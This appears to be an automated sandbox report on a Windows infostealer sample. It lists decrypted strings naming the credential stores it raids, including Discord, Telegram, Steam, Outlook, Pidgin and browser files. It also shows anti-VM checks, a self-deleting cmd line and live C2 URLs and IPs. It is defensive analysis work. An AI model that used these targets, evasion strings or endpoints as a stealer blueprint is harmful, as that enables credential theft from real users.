Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - RAM:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Display Resolution:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - GPU:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: User Agents:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Installed Apps:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: All Users:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Current User:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Process List:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: system_info.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: freebl3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: mozglue.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: msvcp140.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: nss3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: softokn3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: vcruntime140.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Temp\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: .exe
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: runas
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: open
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: /c start
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %DESKTOP%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %APPDATA%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %USERPROFILE%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %RECENT%
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: *.lnk
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: files
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \discord\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: key_datas
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: map*
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Telegram
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Tox
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: *.tox
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: *.ini
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Password
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 00000001
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 00000002
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 00000003
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 00000004
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Pidgin
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \.purple\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: accounts.xml
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: token:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SteamPath
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \config\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ssfn*
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: config.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: loginusers.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Steam\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: browsers
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: done
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: soft
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: https
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: POST
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HTTP/1.1
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: hwid
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: build
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: token
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: file_name
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: file
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: message
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: screenshot.jpg
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetProcAddress
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: LoadLibraryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrcatA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: OpenEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Sleep
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetSystemInfo
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HeapAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetComputerNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrcpyA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetProcessHeap
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetCurrentProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrlenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ExitProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetSystemTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: advapi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: gdi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: user32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: crypt32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ntdll.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetUserNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateDCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetDeviceCaps
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ReleaseDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sscanf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VMwareVMware
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HAL9TH
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: JohnDoe
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DISPLAY
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: http://85.28.47.31
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: silence
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sila
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetFileAttributesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalLock
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HeapFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetFileSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: IsWow64Process
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Process32Next
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLocalTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FreeLibrary
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Process32First
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DeleteFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FindNextFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: LocalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FindClose
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: LocalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetFileSizeEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SetFilePointer
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: WriteFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FindFirstFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CopyFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualProtect
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLastError
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrcpynA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: OpenProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: TerminateProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: gdiplus.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ole32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: bcrypt.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wininet.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: shlwapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: shell32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: psapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SelectObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BitBlt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DeleteObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdiplusStartup
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdiplusShutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipDisposeImage
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CoUninitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CoInitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CoCreateInstance
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptDecrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptSetProperty
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetWindowRect
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetDesktopWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CloseWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wsprintfA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CharToOemW
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wsprintfW
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegQueryValueExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegCloseKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegEnumValueA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CryptUnprotectData
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ShellExecuteExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetConnectA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetCloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetOpenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HttpSendRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: StrCmpCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: StrStrA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: StrCmpCW
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 0_2_00418940
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat, 0_2_0040C660
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_00407280
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00409B10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA16C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 0_2_6CA16C80

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 16.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 21.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 33.2.659e6df34d.exe.400000.0.unpack
Uses 32bit PE files
Source: file.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\file.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp
Source: Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: nss3.pdb source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_004139B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E270
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00401710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004143F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA, 0_2_00414050
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004133C0
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: firefox.exe Memory has grown: Private usage: 1MB later: 209MB

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor URLs: http://85.28.47.31silence
Source: Malware configuration extractor IPs: 185.215.113.16
Connects to many different domains
Source: unknown Network traffic detected: DNS query count 30
Downloads executable code via HTTP
